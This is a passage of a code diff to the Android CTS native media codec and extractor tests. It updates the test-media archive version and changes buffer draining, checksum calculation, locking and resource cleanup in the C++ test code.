 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsMediaV2TestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/media/AndroidTest.xml b/tests/media/AndroidTest.xml
index 0617211..872e8b1 100644
--- a/tests/media/AndroidTest.xml
+++ b/tests/media/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="media" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
         <option name="target" value="host" />
         <option name="config-filename" value="CtsMediaV2TestCases" />
@@ -25,7 +26,7 @@
     </target_preparer>
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.MediaPreparer">
         <option name="push-all" value="true" />
-        <option name="media-folder-name" value="CtsMediaV2TestCases-1.9" />
+        <option name="media-folder-name" value="CtsMediaV2TestCases-1.10" />
         <option name="dynamic-config-module" value="CtsMediaV2TestCases" />
     </target_preparer>
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
diff --git a/tests/media/DynamicConfig.xml b/tests/media/DynamicConfig.xml
index 9f79bd6..5ad3c66 100644
--- a/tests/media/DynamicConfig.xml
+++ b/tests/media/DynamicConfig.xml
@@ -1,6 +1,6 @@
 <dynamicConfig>
     <entry key="media_files_url">
-      <value>https://storage.googleapis.com/android_media/cts/tests/media/CtsMediaV2TestCases-1.9.zip</value>
+      <value>https://storage.googleapis.com/android_media/cts/tests/media/CtsMediaV2TestCases-1.10.zip</value>
     </entry>
 </dynamicConfig>
 
diff --git a/tests/media/OWNERS b/tests/media/OWNERS
index 4f734c8..ad8bb0a3 100644
--- a/tests/media/OWNERS
+++ b/tests/media/OWNERS
@@ -9,3 +9,7 @@
 marcone@google.com
 pawin@google.com
 wonsik@google.com
+
+# LON
+olly@google.com
+andrewlewis@google.com
diff --git a/tests/media/README.md b/tests/media/README.md
index 8b02147..54de250 100644
--- a/tests/media/README.md
+++ b/tests/media/README.md
@@ -3,7 +3,7 @@
 
 The aim of these tests is not solely to verify the CDD requirements but also to test components, their plugins and their interactions with media framework.
 
-The test vectors used by the test suite is available at [link](https://storage.googleapis.com/android_media/cts/tests/media/CtsMediaV2TestCases-1.9.zip) and is downloaded automatically while running tests. Manual installation of these can be done using install_media.sh script in this directory.
+The test vectors used by the test suite is available at [link](https://storage.googleapis.com/android_media/cts/tests/media/CtsMediaV2TestCases-1.10.zip) and is downloaded automatically while running tests. Manual installation of these can be done using install_media.sh script in this directory.
 
 The test suite looks to cover sdk/ndk api in normal and error scenarios. Error scenarios are separated from regular usage and are placed under class *UnitTest (MuxerUnitTest, ExtractorUnitTest, ...).
 
diff --git a/tests/media/copy_media.sh b/tests/media/copy_media.sh
index 51ce72a..9e6b741 100755
--- a/tests/media/copy_media.sh
+++ b/tests/media/copy_media.sh
@@ -17,7 +17,7 @@
 ## script to install mediav2 test files manually
 
 adbOptions=" "
-resLabel=CtsMediaV2TestCases-1.9
+resLabel=CtsMediaV2TestCases-1.10
 srcDir="/tmp/$resLabel"
 tgtDir="/sdcard/test"
 usage="Usage: $0 [-h] [-s serial]"
diff --git a/tests/media/jni/Android.bp b/tests/media/jni/Android.bp
index f6d436d..d4e192c 100644
--- a/tests/media/jni/Android.bp
+++ b/tests/media/jni/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test_library {
     name: "libctsmediav2muxer_jni",
     srcs: [
diff --git a/tests/media/jni/NativeCodecDecoderTest.cpp b/tests/media/jni/NativeCodecDecoderTest.cpp
index 754ccb3..0b17d7e 100644
--- a/tests/media/jni/NativeCodecDecoderTest.cpp
+++ b/tests/media/jni/NativeCodecDecoderTest.cpp
@@ -228,8 +228,18 @@
         if (mSaveToMem) {
             size_t buffSize;
             uint8_t* buf = AMediaCodec_getOutputBuffer(mCodec, bufferIndex, &buffSize);
-            if (mIsAudio) mOutputBuff->saveToMemory(buf, info);
-            mOutputBuff->updateChecksum(buf, info);
+            if (mIsAudio) {
+                mOutputBuff->saveToMemory(buf, info);
+                mOutputBuff->updateChecksum(buf, info);
+            } else {
+                AMediaFormat* format =
+                    mIsCodecInAsyncMode ? mAsyncHandle.getOutputFormat() : mOutFormat;
+                int32_t width, height, stride;
+                AMediaFormat_getInt32(format, "width", &width);
+                AMediaFormat_getInt32(format, "height", &height);
+                AMediaFormat_getInt32(format, "stride", &stride);
+                mOutputBuff->updateChecksum(buf, info, width, height, stride);
+            }
         }
         mOutputBuff->saveOutPTS(info->presentationTimeUs);
         mOutputCount++;
@@ -360,17 +370,17 @@
             if (validateFormat) {
                 if (mIsCodecInAsyncMode ? !mAsyncHandle.hasOutputFormatChanged()
                                         : !mSignalledOutFormatChanged) {
-                    ALOGE(log, "not received format change");
+                    ALOGE("%s%s", log, "not received format change");
                     isPass = false;
                 } else if (!isFormatSimilar(mInpDecFormat, mIsCodecInAsyncMode
                                                                    ? mAsyncHandle.getOutputFormat()
                                                                    : mOutFormat)) {
-                    ALOGE(log, "configured format and output format are not similar");
+                    ALOGE("%s%s", log, "configured format and output format are not similar");
                     isPass = false;
                 }
             }
             if (checksum != ref->getChecksum()) {
-                ALOGE(log, "sdk output and ndk output differ");
+                ALOGE("%s%s", log, "sdk output and ndk output differ");
                 isPass = false;
             }
             loopCounter++;
@@ -500,12 +510,12 @@
         if (validateFormat) {
             if (mIsCodecInAsyncMode ? !mAsyncHandle.hasOutputFormatChanged()
                                     : !mSignalledOutFormatChanged) {
-                ALOGE(log, "not received format change");
+                ALOGE("%s%s", log, "not received format change");
                 isPass = false;
             } else if (!isFormatSimilar(mInpDecFormat, mIsCodecInAsyncMode
                                                                ? mAsyncHandle.getOutputFormat()
                                                                : mOutFormat)) {
-                ALOGE(log, "configured format and output format are not similar");
+                ALOGE("%s%s", log, "configured format and output format are not similar");
                 isPass = false;
             }
         }
@@ -632,12 +642,12 @@
                 if (validateFormat) {
                     if (mIsCodecInAsyncMode ? !mAsyncHandle.hasOutputFormatChanged()
                                             : !mSignalledOutFormatChanged) {
-                        ALOGE(log, "not received format change");
+                        ALOGE("%s%s", log, "not received format change");
                         isPass = false;
                     } else if (!isFormatSimilar(mInpDecFormat,
                                                 mIsCodecInAsyncMode ? mAsyncHandle.getOutputFormat()
                                                                     : mOutFormat)) {
-                        ALOGE(log, "configured format and output format are not similar");
+                        ALOGE("%s%s", log, "configured format and output format are not similar");
                         isPass = false;
                     }
                 }
diff --git a/tests/media/jni/NativeCodecEncoderSurfaceTest.cpp b/tests/media/jni/NativeCodecEncoderSurfaceTest.cpp
index bcf6ef1..b8825bc 100644
--- a/tests/media/jni/NativeCodecEncoderSurfaceTest.cpp
+++ b/tests/media/jni/NativeCodecEncoderSurfaceTest.cpp
@@ -28,7 +28,6 @@
 
 class CodecEncoderSurfaceTest {
   private:
-    const long kQDeQTimeOutUs = 5000;
     const char* mMime;
     ANativeWindow* mWindow;
     AMediaExtractor* mExtractor;
@@ -50,6 +49,8 @@
     int mEncBitrate;
     int mEncFramerate;
     int mMaxBFrames;
+    int mLatency;
+    bool mReviseLatency;
     int mMuxTrackID;
 
     OutputManager* mOutputBuff;
@@ -91,6 +92,8 @@
     mEncoder = nullptr;
     resetContext(false, false);
     mMaxBFrames = 0;
+    mLatency = mMaxBFrames;
+    mReviseLatency = false;
     mMuxTrackID = -1;
 }
 
@@ -167,6 +170,9 @@
     CHECK_STATUS(AMediaCodec_configure(mEncoder, mEncFormat, nullptr, nullptr,
                                        AMEDIACODEC_CONFIGURE_FLAG_ENCODE),
                  "AMediaCodec_configure failed");
+    AMediaFormat* inpFormat = AMediaCodec_getInputFormat(mEncoder);
+    mReviseLatency = AMediaFormat_getInt32(inpFormat, AMEDIAFORMAT_KEY_LATENCY, &mLatency);
+    AMediaFormat_delete(inpFormat);
     CHECK_STATUS(AMediaCodec_createInputSurface(mEncoder, &mWindow),
                  "AMediaCodec_createInputSurface failed");
     CHECK_STATUS(mAsyncHandleDecoder.setCallBack(mDecoder, isAsync),
@@ -302,6 +308,24 @@
 bool CodecEncoderSurfaceTest::tryEncoderOutput(long timeOutUs) {
     if (mIsCodecInAsyncMode) {
         if (!hasSeenError() && !mSawEncOutputEOS) {
+            int retry = 0;
+            while (mReviseLatency) {
+                if (mAsyncHandleEncoder.hasOutputFormatChanged()) {
+                    int actualLatency;
+                    mReviseLatency = false;
+                    if (AMediaFormat_getInt32(mAsyncHandleEncoder.getOutputFormat(),
+                                              AMEDIAFORMAT_KEY_LATENCY, &actualLatency)) {
+                        if (mLatency < actualLatency) {
+                            mLatency = actualLatency;
+                            return !hasSeenError();
+                        }
+                    }
+                } else {
+                    if (retry > kRetryLimit) return false;
+                    usleep(kQDeQTimeOutUs);
+                    retry ++;
+                }
+            }
             callbackObject element = mAsyncHandleEncoder.getOutput();
             if (element.bufferIndex >= 0) {
                 if (!dequeueEncoderOutput(element.bufferIndex, &element.bufferInfo)) return false;
@@ -314,6 +338,9 @@
             if (bufferID >= 0) {
                 if (!dequeueEncoderOutput(bufferID, &outInfo)) return false;
             } else if (bufferID == AMEDIACODEC_INFO_OUTPUT_FORMAT_CHANGED) {
+                AMediaFormat* outFormat = AMediaCodec_getOutputFormat(mEncoder);
+                AMediaFormat_getInt32(outFormat, AMEDIAFORMAT_KEY_LATENCY, &mLatency);
+                AMediaFormat_delete(outFormat);
             } else if (bufferID == AMEDIACODEC_INFO_TRY_AGAIN_LATER) {
             } else if (bufferID == AMEDIACODEC_INFO_OUTPUT_BUFFERS_CHANGED) {
             } else {
@@ -340,20 +367,37 @@
 
 bool CodecEncoderSurfaceTest::queueEOS() {
     if (mIsCodecInAsyncMode) {
-        if (!hasSeenError() && !mSawDecInputEOS) {
-            callbackObject element = mAsyncHandleDecoder.getInput();
+        while (!hasSeenError() && !mSawDecInputEOS) {
+            callbackObject element = mAsyncHandleDecoder.getWork();
             if (element.bufferIndex >= 0) {
-                if (!enqueueDecoderEOS(element.bufferIndex)) return false;
+                if (element.isInput) {
+                    if (!enqueueDecoderEOS(element.bufferIndex)) return false;
+                } else {
+                    if (!dequeueDecoderOutput(element.bufferIndex, &element.bufferInfo)) {
+                        return false;
+                    }
+                }
             }
         }
     } else {
-        if (!mSawDecInputEOS) {
-            int bufferIndex = AMediaCodec_dequeueInputBuffer(mDecoder, -1);
-            if (bufferIndex >= 0) {
-                if (!enqueueDecoderEOS(bufferIndex)) return false;
+        AMediaCodecBufferInfo outInfo;
+        while (!mSawDecInputEOS) {
+            ssize_t oBufferID = AMediaCodec_dequeueOutputBuffer(mDecoder, &outInfo, kQDeQTimeOutUs);
+            if (oBufferID >= 0) {
+                if (!dequeueDecoderOutput(oBufferID, &outInfo)) return false;
+            } else if (oBufferID == AMEDIACODEC_INFO_OUTPUT_FORMAT_CHANGED) {
+            } else if (oBufferID == AMEDIACODEC_INFO_TRY_AGAIN_LATER) {
+            } else if (oBufferID == AMEDIACODEC_INFO_OUTPUT_BUFFERS_CHANGED) {
             } else {
-                ALOGE("unexpected return value from *_dequeueInputBufferBuffer: %d",
-                      bufferIndex);
+                ALOGE("unexpected return value from *_dequeueOutputBuffer: %zd", oBufferID);
+                return false;
+            }
+            ssize_t iBufferId = AMediaCodec_dequeueInputBuffer(mDecoder, kQDeQTimeOutUs);
+            if (iBufferId >= 0) {
+                if (!enqueueDecoderEOS(iBufferId)) return false;
+            } else if (iBufferId == AMEDIACODEC_INFO_TRY_AGAIN_LATER) {
+            } else {
+                ALOGE("unexpected return value from *_dequeueInputBuffer: %zd", iBufferId);
                 return false;
             }
         }
@@ -367,7 +411,7 @@
                 if (!dequeueDecoderOutput(element.bufferIndex, &element.bufferInfo)) return false;
             }
             if (mSawDecOutputEOS) AMediaCodec_signalEndOfInputStream(mEncoder);
-            if (mDecOutputCount - mEncOutputCount > mMaxBFrames) {
+            if (mDecOutputCount - mEncOutputCount > mLatency) {
                 if (!tryEncoderOutput(-1)) return false;
             }
         }
@@ -389,7 +433,7 @@
                 }
             }
             if (mSawDecOutputEOS) AMediaCodec_signalEndOfInputStream(mEncoder);
-            if (mDecOutputCount - mEncOutputCount > mMaxBFrames) {
+            if (mDecOutputCount - mEncOutputCount > mLatency) {
                 if (!tryEncoderOutput(-1)) return false;
             }
         }
@@ -416,8 +460,7 @@
             // check decoder EOS
             if (mSawDecOutputEOS) AMediaCodec_signalEndOfInputStream(mEncoder);
             // encoder output
-            // TODO: remove fixed constant and change it according to encoder latency
-            if (mDecOutputCount - mEncOutputCount > mMaxBFrames) {
+            if (mDecOutputCount - mEncOutputCount > mLatency) {
                 if (!tryEncoderOutput(-1)) return false;
             }
         }
@@ -445,8 +488,7 @@
                 return false;
             }
             if (mSawDecOutputEOS) AMediaCodec_signalEndOfInputStream(mEncoder);
-            // TODO: remove fixed constant and change it according to encoder latency
-            if (mDecOutputCount - mEncOutputCount > mMaxBFrames) {
+            if (mDecOutputCount - mEncOutputCount > mLatency) {
                 if (!tryEncoderOutput(-1)) return false;
             }
         }
diff --git a/tests/media/jni/NativeCodecTestBase.cpp b/tests/media/jni/NativeCodecTestBase.cpp
index 4e13e9c..1516185 100644
--- a/tests/media/jni/NativeCodecTestBase.cpp
+++ b/tests/media/jni/NativeCodecTestBase.cpp
@@ -141,6 +141,7 @@
 }
 
 void CodecAsyncHandler::setOutputFormat(AMediaFormat* format) {
+    std::unique_lock<std::mutex> lock{mMutex};
     assert(format != nullptr);
     if (mOutFormat) {
         AMediaFormat_delete(mOutFormat);
@@ -151,10 +152,12 @@
 }
 
 AMediaFormat* CodecAsyncHandler::getOutputFormat() {
+    std::unique_lock<std::mutex> lock{mMutex};
     return mOutFormat;
 }
 
 bool CodecAsyncHandler::hasOutputFormatChanged() {
+    std::unique_lock<std::mutex> lock{mMutex};
     return mSignalledOutFormatChanged;
 }
 
@@ -204,6 +207,31 @@
     return result;
 }
 
+void OutputManager::updateChecksum(
+        uint8_t* buf, AMediaCodecBufferInfo* info, int width, int height, int stride) {
+    uint8_t flattenInfo[16];
+    int pos = 0;
+    if (width <= 0 || height <= 0 || stride <= 0) {
+        flattenField<int32_t>(flattenInfo, &pos, info->size);
+    }
+    flattenField<int32_t>(flattenInfo, &pos,
+                          info->flags & ~AMEDIACODEC_BUFFER_FLAG_END_OF_STREAM);
+    flattenField<int64_t>(flattenInfo, &pos, info->presentationTimeUs);
+    crc32value = crc32(crc32value, flattenInfo, pos);
+    if (width > 0 && height > 0 && stride > 0) {
+        // Only checksum Y plane
+        std::vector<uint8_t> tmp(width * height, 0u);
+        size_t offset = 0;
+        for (int i = 0; i < height; ++i) {
+            memcpy(tmp.data() + (i * width), buf + offset, width);
+            offset += stride;
+        }
+        crc32value = crc32(crc32value, tmp.data(), width * height);
+    } else {
+        crc32value = crc32(crc32value, buf, info->size);
+    }
+}
+
 bool OutputManager::isOutPtsListIdenticalToInpPtsList(bool requireSorting) {
     bool isEqual = true;
     std::sort(inpPtsArray.begin(), inpPtsArray.end());
@@ -436,19 +464,41 @@
 bool CodecTestBase::queueEOS() {
     bool isOk = true;
     if (mIsCodecInAsyncMode) {
-        if (!hasSeenError() && isOk && !mSawInputEOS) {
-            callbackObject element = mAsyncHandle.getInput();
+        while (!hasSeenError() && isOk && !mSawInputEOS) {
+            callbackObject element = mAsyncHandle.getWork();
             if (element.bufferIndex >= 0) {
-                isOk = enqueueEOS(element.bufferIndex);
+                if (element.isInput) {
+                    isOk = enqueueEOS(element.bufferIndex);
+                } else {
+                    isOk = dequeueOutput(element.bufferIndex, &element.bufferInfo);
+                }
             }
         }
     } else {
-        if (!mSawInputEOS) {
-            int bufferIndex = AMediaCodec_dequeueInputBuffer(mCodec, -1);
-            if (bufferIndex >= 0) {
-                isOk = enqueueEOS(bufferIndex);
+        AMediaCodecBufferInfo outInfo;
+        while (isOk && !mSawInputEOS) {
+            ssize_t oBufferID = AMediaCodec_dequeueOutputBuffer(mCodec, &outInfo, kQDeQTimeOutUs);
+            if (oBufferID >= 0) {
+                isOk = dequeueOutput(oBufferID, &outInfo);
+            } else if (oBufferID == AMEDIACODEC_INFO_OUTPUT_FORMAT_CHANGED) {
+                if (mOutFormat) {
+                    AMediaFormat_delete(mOutFormat);
+                    mOutFormat = nullptr;
+                }
+                mOutFormat = AMediaCodec_getOutputFormat(mCodec);
+                mSignalledOutFormatChanged = true;
+            } else if (oBufferID == AMEDIACODEC_INFO_TRY_AGAIN_LATER) {
+            } else if (oBufferID == AMEDIACODEC_INFO_OUTPUT_BUFFERS_CHANGED) {
             } else {
-                ALOGE("unexpected return value from *_dequeueInputBuffer: %d", bufferIndex);
+                ALOGE("unexpected return value from *_dequeueOutputBuffer: %zd", oBufferID);
+                return false;
+            }
+            ssize_t iBufferId = AMediaCodec_dequeueInputBuffer(mCodec, kQDeQTimeOutUs);
+            if (iBufferId >= 0) {
+                isOk = enqueueEOS(iBufferId);
+            } else if (iBufferId == AMEDIACODEC_INFO_TRY_AGAIN_LATER) {
+            } else {
+                ALOGE("unexpected return value from *_dequeueInputBuffer: %zd", iBufferId);
                 return false;
             }
         }
diff --git a/tests/media/jni/NativeCodecTestBase.h b/tests/media/jni/NativeCodecTestBase.h
index 87a46f9..fca570b 100644
--- a/tests/media/jni/NativeCodecTestBase.h
+++ b/tests/media/jni/NativeCodecTestBase.h
@@ -63,7 +63,7 @@
     std::list<callbackObject> mCbInputQueue;
     std::list<callbackObject> mCbOutputQueue;
     AMediaFormat* mOutFormat;
-    bool mSignalledOutFormatChanged;
+    volatile bool mSignalledOutFormatChanged;
     volatile bool mSignalledError;
 
   public:
@@ -103,18 +103,13 @@
     bool isPtsStrictlyIncreasing(int64_t lastPts);
     bool isOutPtsListIdenticalToInpPtsList(bool requireSorting);
     void saveToMemory(uint8_t* buf, AMediaCodecBufferInfo* info) {
-        memory.insert(memory.end(), buf + info->offset, buf + info->size);
+        memory.insert(memory.end(), buf, buf + info->size);
     }
     void updateChecksum(uint8_t* buf, AMediaCodecBufferInfo* info) {
-        crc32value = crc32(crc32value, buf + info->offset, info->size);
-        uint8_t flattenInfo[16];
-        int pos = 0;
-        flattenField<int32_t>(flattenInfo, &pos, info->size);
-        flattenField<int32_t>(flattenInfo, &pos,
-                              info->flags & ~AMEDIACODEC_BUFFER_FLAG_END_OF_STREAM);
-        flattenField<int64_t>(flattenInfo, &pos, info->presentationTimeUs);
-        crc32value = crc32(crc32value, flattenInfo, sizeof(flattenInfo));
+        updateChecksum(buf, info, 0, 0, 0);
     }
+    void updateChecksum(
+            uint8_t* buf, AMediaCodecBufferInfo* info, int width, int height, int stride);
     uLong getChecksum() { return crc32value; }
     void reset() {
         inpPtsArray.clear();
@@ -129,7 +124,6 @@
 
 class CodecTestBase {
   protected:
-    const long kQDeQTimeOutUs = 5000;
     const char* mMime;
     bool mIsAudio;
     CodecAsyncHandler mAsyncHandle;
diff --git a/tests/media/jni/NativeCodecUnitTest.cpp b/tests/media/jni/NativeCodecUnitTest.cpp
index 724bf7b..aa27619 100644
--- a/tests/media/jni/NativeCodecUnitTest.cpp
+++ b/tests/media/jni/NativeCodecUnitTest.cpp
@@ -745,11 +745,12 @@
         AMediaFormat* dupFormat = AMediaCodec_getInputFormat(mCodec);
         const char* dupMime = nullptr;
         AMediaFormat_getString(dupFormat, AMEDIAFORMAT_KEY_MIME, &dupMime);
-        AMediaFormat_delete(dupFormat);
         if (!dupMime || strcmp(dupMime, mime) != 0) {
+            AMediaFormat_delete(dupFormat);
             ALOGE("getInputFormat fails in initialized state");
             return false;
         }
+        AMediaFormat_delete(dupFormat);
         CHECK_STATUS(AMediaCodec_stop(mCodec), "AMediaCodec_stop failed");
     }
     return !hasSeenError();
@@ -768,11 +769,12 @@
         AMediaFormat* dupFormat = AMediaCodec_getInputFormat(mCodec);
         const char* dupMime = nullptr;
         AMediaFormat_getString(dupFormat, AMEDIAFORMAT_KEY_MIME, &dupMime);
-        AMediaFormat_delete(dupFormat);
         if (!dupMime || strcmp(dupMime, mime) != 0) {
+            AMediaFormat_delete(dupFormat);
             ALOGE("getInputFormat fails in running state");
             return false;
         }
+        AMediaFormat_delete(dupFormat);
         CHECK_STATUS(AMediaCodec_stop(mCodec), "AMediaCodec_stop failed");
     }
     return !hasSeenError();
@@ -789,22 +791,24 @@
         AMediaFormat* dupFormat = AMediaCodec_getInputFormat(mCodec);
         const char* dupMime = nullptr;
         AMediaFormat_getString(dupFormat, AMEDIAFORMAT_KEY_MIME, &dupMime);
-        AMediaFormat_delete(dupFormat);
         if (dupMime) {
+            AMediaFormat_delete(dupFormat);
             ALOGE("getInputFormat succeeds in uninitialized state");
             return false;
         }
+        AMediaFormat_delete(dupFormat);
         if (!configureCodec(mFormat, isAsync, false, isEncoder)) return false;
         CHECK_STATUS(AMediaCodec_start(mCodec), "AMediaCodec_start failed");
         CHECK_STATUS(AMediaCodec_stop(mCodec), "AMediaCodec_stop failed");
         dupFormat = AMediaCodec_getInputFormat(mCodec);
         dupMime = nullptr;
         AMediaFormat_getString(dupFormat, AMEDIAFORMAT_KEY_MIME, &dupMime);
-        AMediaFormat_delete(dupFormat);
         if (dupMime) {
+            AMediaFormat_delete(dupFormat);
             ALOGE("getInputFormat succeeds in stopped state");
             return false;
         }
+        AMediaFormat_delete(dupFormat);
     }
     return !hasSeenError();
 }
@@ -918,11 +922,12 @@
         AMediaFormat* dupFormat = AMediaCodec_getOutputFormat(mCodec);
         const char* dupMime = nullptr;
         AMediaFormat_getString(dupFormat, AMEDIAFORMAT_KEY_MIME, &dupMime);
-        AMediaFormat_delete(dupFormat);
         if (!dupMime || strcmp(dupMime, mime) != 0) {
+            AMediaFormat_delete(dupFormat);
             ALOGE("getOutputFormat fails in initialized state");
             return false;
         }
+        AMediaFormat_delete(dupFormat);
         CHECK_STATUS(AMediaCodec_stop(mCodec), "AMediaCodec_stop failed");
     }
     return !hasSeenError();
@@ -941,11 +946,12 @@
         AMediaFormat* dupFormat = AMediaCodec_getOutputFormat(mCodec);
         const char* dupMime = nullptr;
         AMediaFormat_getString(dupFormat, AMEDIAFORMAT_KEY_MIME, &dupMime);
-        AMediaFormat_delete(dupFormat);
         if (!dupMime || strcmp(dupMime, mime) != 0) {
+            AMediaFormat_delete(dupFormat);
             ALOGE("getOutputFormat fails in running state");
             return false;
         }
+        AMediaFormat_delete(dupFormat);
         CHECK_STATUS(AMediaCodec_stop(mCodec), "AMediaCodec_stop failed");
     }
     return !hasSeenError();
@@ -960,22 +966,24 @@
         AMediaFormat* dupFormat = AMediaCodec_getOutputFormat(mCodec);
         const char* dupMime = nullptr;
         AMediaFormat_getString(dupFormat, AMEDIAFORMAT_KEY_MIME, &dupMime);
-        AMediaFormat_delete(dupFormat);
         if (dupMime) {
+            AMediaFormat_delete(dupFormat);
             ALOGE("getOutputFormat succeeds in uninitialized state");
             return false;
         }
+        AMediaFormat_delete(dupFormat);
         if (!configureCodec(mFormat, isAsync, false, isEncoder)) return false;
         CHECK_STATUS(AMediaCodec_start(mCodec), "AMediaCodec_start failed");
         CHECK_STATUS(AMediaCodec_stop(mCodec), "AMediaCodec_stop failed");
         dupFormat = AMediaCodec_getOutputFormat(mCodec);
         dupMime = nullptr;
         AMediaFormat_getString(dupFormat, AMEDIAFORMAT_KEY_MIME, &dupMime);
-        AMediaFormat_delete(dupFormat);
         if (dupMime) {
+            AMediaFormat_delete(dupFormat);
             ALOGE("getOutputFormat succeeds in stopped state");
             return false;
         }
+        AMediaFormat_delete(dupFormat);
     }
     return !hasSeenError();
 }
@@ -1373,11 +1381,12 @@
         AMediaFormat* dupFormat = AMediaCodec_getBufferFormat(mCodec, 0);
         const char* dupMime = nullptr;
         AMediaFormat_getString(dupFormat, AMEDIAFORMAT_KEY_MIME, &dupMime);
-        AMediaFormat_delete(dupFormat);
         if (dupMime) {
+            AMediaFormat_delete(dupFormat);
             ALOGE("GetBufferFormat succeeds in initialized state");
             return false;
         }
+        AMediaFormat_delete(dupFormat);
         CHECK_STATUS(AMediaCodec_stop(mCodec), "AMediaCodec_stop failed");
     }
     return !hasSeenError();
@@ -1397,11 +1406,12 @@
         AMediaFormat* dupFormat = AMediaCodec_getBufferFormat(mCodec, -1);
         const char* dupMime = nullptr;
         AMediaFormat_getString(dupFormat, AMEDIAFORMAT_KEY_MIME, &dupMime);
-        AMediaFormat_delete(dupFormat);
         if (dupMime) {
+            AMediaFormat_delete(dupFormat);
             ALOGE("GetBufferFormat succeeds for bad buffer index -1");
             return false;
         }
+        AMediaFormat_delete(dupFormat);
         if (!queueEOS()) return false;
         if (!hasSeenError()) {
             int bufferIndex = 0;
@@ -1414,11 +1424,12 @@
                         dupFormat = AMediaCodec_getBufferFormat(mCodec, bufferIndex);
                         dupMime = nullptr;
                         AMediaFormat_getString(dupFormat, AMEDIAFORMAT_KEY_MIME, &dupMime);
-                        AMediaFormat_delete(dupFormat);
                         if (!dupMime || strcmp(dupMime, mime) != 0) {
+                            AMediaFormat_delete(dupFormat);
                             ALOGE("GetBufferFormat fails in running state");
                             return false;
                         }
+                        AMediaFormat_delete(dupFormat);
                         isOk = dequeueOutput(element.bufferIndex, &element.bufferInfo);
                     }
                 } else {
@@ -1427,11 +1438,12 @@
                         dupFormat = AMediaCodec_getBufferFormat(mCodec, bufferIndex);
                         dupMime = nullptr;
                         AMediaFormat_getString(dupFormat, AMEDIAFORMAT_KEY_MIME, &dupMime);
-                        AMediaFormat_delete(dupFormat);
                         if (!dupMime || strcmp(dupMime, mime) != 0) {
+                            AMediaFormat_delete(dupFormat);
                             ALOGE("GetBufferFormat fails in running state");
                             return false;
                         }
+                        AMediaFormat_delete(dupFormat);
                         isOk = dequeueOutput(bufferIndex, &outInfo);
                     }
                 }
@@ -1443,11 +1455,12 @@
             dupFormat = AMediaCodec_getBufferFormat(mCodec, bufferIndex);
             dupMime = nullptr;
             AMediaFormat_getString(dupFormat, AMEDIAFORMAT_KEY_MIME, &dupMime);
-            AMediaFormat_delete(dupFormat);
             if (dupMime) {
+                AMediaFormat_delete(dupFormat);
                 ALOGE("GetBufferFormat succeeds for buffer index not owned by client");
                 return false;
             }
+            AMediaFormat_delete(dupFormat);
         } else {
             ALOGE("Got unexpected error");
             return false;
@@ -1466,22 +1479,24 @@
         AMediaFormat* dupFormat = AMediaCodec_getBufferFormat(mCodec, 0);
         const char* dupMime = nullptr;
         AMediaFormat_getString(dupFormat, AMEDIAFORMAT_KEY_MIME, &dupMime);
-        AMediaFormat_delete(dupFormat);
         if (dupMime) {
+            AMediaFormat_delete(dupFormat);
             ALOGE("GetBufferFormat succeeds in uninitialized state");
             return false;
         }
+        AMediaFormat_delete(dupFormat);
         if (!configureCodec(mFormat, isAsync, false, isEncoder)) return false;
         CHECK_STATUS(AMediaCodec_start(mCodec), "AMediaCodec_start failed");
         CHECK_STATUS(AMediaCodec_stop(mCodec), "AMediaCodec_stop failed");
         dupFormat = AMediaCodec_getBufferFormat(mCodec, 0);
         dupMime = nullptr;
         AMediaFormat_getString(dupFormat, AMEDIAFORMAT_KEY_MIME, &dupMime);
-        AMediaFormat_delete(dupFormat);
         if (dupMime) {
+            AMediaFormat_delete(dupFormat);
             ALOGE("GetBufferFormat succeeds in stopped state");
             return false;
         }
+        AMediaFormat_delete(dupFormat);
     }
     return !hasSeenError();
 }
diff --git a/tests/media/jni/NativeExtractorTest.cpp b/tests/media/jni/NativeExtractorTest.cpp
index e5c391a..de0fae8 100644
--- a/tests/media/jni/NativeExtractorTest.cpp
+++ b/tests/media/jni/NativeExtractorTest.cpp
@@ -93,7 +93,7 @@
                 setSampleInfo(refExtractor, &refSampleInfo);
                 setSampleInfo(testExtractor, &testSampleInfo);
                 if (!isSampleInfoValidAndIdentical(&refSampleInfo, &testSampleInfo)) {
-                    ALOGD(" Mime: %s mismatch for sample: %d", refMime, frameCount);
+                    ALOGD(" Mime: %s mismatch for sample: %d", mime, frameCount);
                     ALOGD(" flags exp/got: %d / %d", refSampleInfo.flags, testSampleInfo.flags);
                     ALOGD(" size exp/got: %d / %d ", refSampleInfo.size, testSampleInfo.size);
                     ALOGD(" ts exp/got: %" PRId64 " / %" PRId64 "",
@@ -104,55 +104,53 @@
                 ssize_t refSz =
                         AMediaExtractor_readSampleData(refExtractor, refBuffer, maxSampleSize);
                 if (refSz != refSampleInfo.size) {
-                    ALOGD("Mime: %s Size exp/got:  %d / %zd ", refMime, refSampleInfo.size, refSz);
+                    ALOGD("Mime: %s Size exp/got:  %d / %zd ", mime, refSampleInfo.size, refSz);
                     areTracksIdentical = false;
                     break;
                 }
                 ssize_t testSz =
                         AMediaExtractor_readSampleData(testExtractor, testBuffer, maxSampleSize);
                 if (testSz != testSampleInfo.size) {
-                    ALOGD("Mime: %s Size exp/got:  %d / %zd ", refMime, testSampleInfo.size,
-                          testSz);
+                    ALOGD("Mime: %s Size exp/got:  %d / %zd ", mime, testSampleInfo.size, testSz);
                     areTracksIdentical = false;
                     break;
                 }
                 int trackIndex = AMediaExtractor_getSampleTrackIndex(refExtractor);
                 if (trackIndex != refTrackID) {
-                    ALOGD("Mime: %s TrackID exp/got: %zu / %d", refMime, refTrackID, trackIndex);
+                    ALOGD("Mime: %s TrackID exp/got: %zu / %d", mime, refTrackID, trackIndex);
                     areTracksIdentical = false;
                     break;
                 }
                 trackIndex = AMediaExtractor_getSampleTrackIndex(testExtractor);
                 if (trackIndex != testTrackID) {
